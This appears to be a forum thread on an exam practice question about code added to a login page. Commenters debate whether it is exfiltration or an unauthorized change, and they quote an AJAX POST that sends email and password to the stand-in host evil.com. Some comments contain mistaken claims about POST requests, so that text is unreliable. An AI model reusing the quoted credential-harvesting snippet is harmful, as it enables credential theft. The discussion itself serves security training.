A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:
Which of the following best describes the activity the analyst has observed?
The activity observed by the security analyst is best described as exfiltration. The added code snippet initiates an AJAX request to send sensitive data (email and password) to an external domain (https://evil.com/finish.php). This type of activity involves the unauthorized transfer of data from a system, indicating that the data is being exfiltrated.
Yikes... It looks like its both B and C. Ill go B for the follwing reason though: Sure we know that its a change thats been made. (clearly indicated by the file integrity warning and the mismatch of the hash) but the question asked about what was observed, presumably within the altered code. Lets break it down: $.ajax(: This initiates an AJAX request using jQuery. dataType: 'JSON',: Specifies that the expected data type of the server response is JSON. url: 'https://evil.com/finish.php?x=ZXZpbA==',: Sets the URL to which the AJAX request will be sent type: 'POST': Specifies that the HTTP request method should be POST Everything after "data" is the credentials that will be submitted along with the above request. This is clear Exfiltration.
While the unauthorized code snippet could potentially be used for exfiltration, the primary activity observed by the analyst is the unauthorized change to the login.html file. Exfiltration refers to the actual act of data being transferred out of the system, which hasn’t been confirmed in this scenario yet. The unauthorized change could indeed lead to exfiltration if the malicious code is executed and starts sending data to an external source. However, at this point, the analyst has only observed the unauthorized change, not the actual exfiltration of data. So I think the most accurate description of the observed activity is C. Unauthorized changes.
Answer C, Unauthorized changes. The give away in the question is POST.
Apologies for the previous response. Looking at the output it appears to be passing the email/password data to the server. This makes me assume that this is not a data exfiltration but data is being passed to the server. Therefore, the response should be Unauthorized changes (https://api.jquery.com/jquery.ajax/ https://api.jquery.com/jquery.post/)
From claude.AI B. Exfiltration Here's why this is the most accurate description: 1. Data Transmission: The code snippet shows an AJAX request being made to send data to an external server (https://evil.com/finish.php). 2. Sensitive Information: The data being sent includes an email address and password, which are typically considered sensitive information. 3. Unauthorized Destination: The URL "https://evil.com" suggests that this is not a legitimate company domain, but rather a malicious endpoint. 4. POST Request: The use of a POST request type indicates that data is being sent to the server, not just retrieved. 5. Encoding: The presence of "ZXZpbA==" in the URL suggests base64 encoding, which is often used to obfuscate data in transit. This code is clearly designed to send user credentials to an unauthorized external server, which constitutes data exfiltration - the unauthorized transfer of data from a computer or other device to a location controlled by a malicious actor.
The answer is unauthorized changes. "Which of the following best describes the activity the analyst has observed?" They are asking what activity the analyst observed. The analyst did not observe exfiltration, the analyst observed the unauthorized change to the file. To me, the answer is Unauthorized Changes
I believe this is C. Unauthorized changes. The reason being is POST is used for updating/modifying data.
They are sending the user creds to an external server... seems pretty much like exfiltration to me....
It's POSTing the email/pw to the url.php, seems like data exfil. Per Splunk, the POST command can be used for data exfil when used in this manner.
Correct. It seems the most logical answer
Question asked about what is in front of you. B. Exfiltration
It is C
The activity observed by the analyst involves the addition of a code snippet that makes an AJAX POST request to an external domain (https://evil.com/finish.php) with sensitive data such as email and password. This indicates potential unauthorized changes to the login.html file, as the added code is not part of the original source code and could be malicious.
This is an unauthorized change, as the analyst is comparing the previous code to the current and finding this new snippet.
Selected exfiltration It appears to be an attempt to send sensitive information (such as an email address and password) to a suspicious URL (https://evil.com/finish.php?x=zxzpbA==) via a POST request. This kind of activity is typically associated with exfiltration, which involves the unauthorized transfer of data from a system. Therefore, the best description of the observed activity would be : B. Exfiltration
The POST is creating a new user account, indicative of unauthorized changes. There is nothing in the query related to data exfiltration...as an attacker, why would I not save the creds on my end? I wouldn't need to POST to an external .php location.
Sounds like and integrity issue to me. I'm not sure if the POST part of the code reconcile with exfiltration.